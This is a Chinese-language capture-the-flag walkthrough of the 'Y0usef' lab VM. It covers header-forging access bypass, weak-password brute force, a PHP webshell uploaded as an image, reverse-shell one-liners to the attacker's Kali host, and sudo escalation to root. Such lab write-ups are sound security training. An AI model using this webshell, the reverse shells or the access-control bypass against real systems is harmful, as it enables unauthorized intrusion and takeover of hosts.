Y0usef 主要目标是获得普通用户和 root 权限的 flag。渗透过程主要涉及 服务枚举、WEB 目录爆破、HTTP 访问控制绕过、文件上传漏洞利用、反向 shell 获取初始权限,再进行提权。
涉及知识点:
- x-Forward-For伪造请求头
- 系统弱口令与文件上传
- SUDO提权
文章目录
-
- 靶机设置
- 信息收集
-
- http服务
- 漏洞利用:访问控制绕过
-
- X-Forwarded-For伪造请求头原理
- 伪造请求头
- 方法一:使用 HackBar (最推荐)
- 方法二:使用 ModHeader 插件 (日常最通用)
- 系统SQL注入尝试
- 系统弱口令爆破
- 漏洞利用:系统文件上传
-
- 上传shell文件
- 命令执行反弹shell
- 提权
-
- 敏感文件权限
- SUDO提权
- SUID提权
- PwnKit服务越权(失败)
- X.Org服务越权(失败)
- SSH登陆
- 总结
靶机设置
我们还是老样子,分别在VMware和virtualBox里打开kali以及目标机器,并且设置两台机器之间可以互相访问(模拟公网中攻击者与Web服务器的过程):

我们知道目标机器所处网段为192.168.56.0/24,接下来我们就需要对其进行信息收集:

此时我们知道的是:
- kali的IP地址为:
192.168.56.102 - 目标机器的网段为:
192.168.56.0/24
所以接下来我们要做的就是探测其具体IP以及开放的服务以及端口;
信息收集
这里我们还是使用nmap对目标机器进行详细的信息收集:
bash
# 简单IP探测
nmap -sP 192.168.56.0/24
# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.113
我们得到目标机器IP地址为192.168.56.113:

接下来我们就要收集其开放的端口以及服务了:

我们可以看到目标机器只开放了22端口以及80端口:
- 22端口:
ssh服务 - 80端口:
http服务
http服务
根据上述,所以我们接下来就去Web网页能收集到什么信息,访问网址:http://192.168.56.113/

没想到得到这样页面,没有服务?Ctrl+U查看源代码也没有可利用的信息;
所以接下来我们就只能Web目录枚举了:
还是老样子用dirsearch对网页进行扫描:
bash
python dirsearch.py -u http://192.168.56.113/
得到结果如下图:

/adminstration:301 说明目录真实存在/index.php/login/:可能是后台登陆页面
(1)尝试访问http://192.168.56.113/**adminstration**/页面:

发现无权限访问,Web服务应该设置了身份认证之类的限制;
(2)访问http://192.168.56.113/**index.php/login**,发现返回的确实默认页面:

Web枚举扫描发现两个页面均无可用信息,接下来我们又应该怎么办?
漏洞利用:访问控制绕过
有以下几种思路:
- 访问控制绕过:对已存在但受限的路径(403/only localhost)尝试请求头伪造、方法切换、路径变形
- 逻辑与配置缺陷探测:关注重写路由、PATH_INFO、参数拼接导致的逻辑绕过或包含问题
常见的手段如下:
请求头伪造(最常见):
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: http://127.0.0.1/
路径层绕过:
- /adminstration/.
- /adminstration/...;
- /adminstration/%2e/
请求方法绕过 :(最经典的就是tomcat的PUT上传)
- GET → POST
- HEAD → GET
X-Forwarded-For伪造请求头原理
这里我们简单讲一下原理:
一句话原理:
X-Forwarded-For等请求头本来是给反向代理 用来传递"真实客户端 IP"的,但它们本质是普通 HTTP 头部,客户端可以随意伪造;若后端错误信任这>些头,就会被绕过访问控制。
很多 Web 应用为了"图省事",在应用层做了如下限制逻辑:
关键问题:
- 开发者错误地信任了 HTTP 请求头
- 认为 X-Forwarded-For、X-Real-IP 等字段是"可信的真实来源 IP"
而实际上:
这些请求头完全由客户端控制,可以随意伪造
要点总结:
X-Forwarded-For / X-Real-IP / Client-IP都是不可信输入只有服务器生成的
REMOTE_ADDR才相对可靠信任可控请求头 ⇒ 访问控制可被绕过
伪造请求头
所以我们可以尝试抓包对其进行修改:
正常访问时:

我们伪造请求头后,添加语句:
bash
X-Forwarded-For: 127.0.0.1
结果如下:

我们可以看到出现了一个新的页面,包括用户名以及密码框等新信息;
但是这只是在bp里显示,我们有应该如何利用里面的username 和password 参数呢?
(接下来的可是干货了)
方法一:使用 HackBar (最推荐)
HackBar 是专门为渗透测试设计的,操作非常直接。
- 在浏览器中按 F12 打开开发者工具,点击 HackBar 标签。
- 点击 Load URL,加载你当前的访问地址。
- 勾选 Custom Header (不同版本的 HackBar 界面略有不同,有的在
Post Data下方,有的需要点击Enable)。 - 在输入框中填入:
X-Forwarded-For: 127.0.0.1。 - 点击 Execute。
注意: 这样页面就会在浏览器的主窗口中渲染出来,你可以直接在输入框里填入 username 和 password 进行测试。

(成功访问;)
方法二:使用 ModHeader 插件 (日常最通用)
如果你不习惯用 HackBar 或 Burp,可以安装一个名为 ModHeader 的浏览器插件:
- 安装后点击插件图标。
- 在
Name处填入X-Forwarded-For。 - 在
Value处填入127.0.0.1。 - 只要这个插件处于开启状态,你访问任何网站都会带上这个伪造的 IP。

成功访问;
系统SQL注入尝试
看到框框了,这我们应该想到什么?
这里我们再次使用bp抓包,并对其尝试进行SQL注入:

(我们修改后访问,响应码 也变为200了)

SQL注入的方法:(那就有很多种了)
- 针对参数,bp使用Intruder模块,字典尝试爆破;
- 使用
sqlmap测试;
发现两者均没有结果;只能换个方向继续收集信息。
系统弱口令爆破
既然是思路错了,换个方向,直接使用弱口令爆破账号密码:

也是成功爆破出账号密码:admin / admin

进入到一个新页面:

漏洞利用:系统文件上传
上传shell文件
我们进入后发现Dashboard 和Users页面都是空白页面,只有Upload file存在功能:

我们尝试上传一个一句话木马,看看是否有限制;
文件上传常见绕过方法:
- 文件扩展名
- 文件类型
- 在数据段位置添加真实的图片的头部信息,将PHP的Webshell附加到图片数据的最后部分
通过尝试,发现上传.php和.txt文件等文本文件内容是一样的;
所以我们尝试一下修改成
shell文件内容 + 图片后缀名;
随便搞一条语句:
bash
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
点击上传之后,修改Content-Type: image/png

成功得到上传的文件路径:files/17685465791.php

命令执行反弹shell
尝试访问,空白(说明shell文件上传成功):

使用cmd参数执行一下命令:


(知道用户为www-data系统用户);
kali创建监听:

反弹一个shell到kali(192.168.56.102)上:
bash
php -r '$sock=fsockopen("192.168.56.102",9001);exec("/bin/sh <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
我都服了,明明目标机器上就是有PHP,sh,perl等语言,偏偏只有python才能运行成功。。。(无语了)
提权
敏感文件权限
(1)查看/etc/passwd的敏感文件权限

无法利用;
SUDO提权

需要密码,无法利用;
SUID提权
输入命令寻找可利用的s程序:
bash
find / -perm -u=s -type f 2>/dev/null
发现了很多没见过的程序,于是上网查资料看哪些可以利用:

PwnKit服务越权(失败)
判断是否可用(PwnKit)
bash
pkexec --version
关注点:
- polkit < 0.120 → 高概率可利用
- 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

可以看到处于可利用的版本内;
X.Org服务越权(失败)
判断是否可用(PwnKit)
bash
pkexec --version
关注点:
- polkit < 0.120 → 高概率可利用
- 有版本但系统较老(Ubuntu 20.04 / Debian 10 以前)→ 高风险

同理,处于可利用的版本内;
但是都很遗憾,试了没能尝试成功;
SSH登陆
随后继续在目标机器搜索信息,发现了一个user.txt文件:

内容是一个用户的ssh登陆账号密码:
bash
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
账号密码:yousef / yousef 123

尝试登陆:
bash
ssh yousef@192.168.56.113 -p 22
# 输入密码即可
成功登陆:

最后还是通过SUDO提权获得了root权限:

输入命令su root,并输入密码即可变为root用户:

最后得到flag:

结果:

完整命令展示:
bash
# 进入到yousef用户
yousef@yousef-VirtualBox:~$ id
id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
# 查看权限
yousef@yousef-VirtualBox:~$ sudo -l
sudo -l
[sudo] password for yousef: yousef123
Matching Defaults entries for yousef on yousef-VirtualBox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yousef may run the following commands on yousef-VirtualBox:
(ALL : ALL) ALL
# SUDO越权
yousef@yousef-VirtualBox:~$ su root
su root
Password: yousef123
# 成功切换
root@yousef-VirtualBox:/home/yousef# id
id
uid=0(root) gid=0(root) groups=0(root)
root@yousef-VirtualBox:/home/yousef# cd /root
cd /root
root@yousef-VirtualBox:~# ls -a
ls -a
. .. .bash_history .bashrc .profile root.txt
# 得到flag
root@yousef-VirtualBox:~# cat root.txt
cat root.txt
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
root@yousef-VirtualBox:~#
总结
本次主要是通过伪造请求头进入了系统,随后与kali建立shell连接控制主机,最后通过SUDO提权getshell;
涉及知识点:
- x-Forward-For伪造请求头
- 系统弱口令与文件上传
- SUDO提权
期待下次再见;
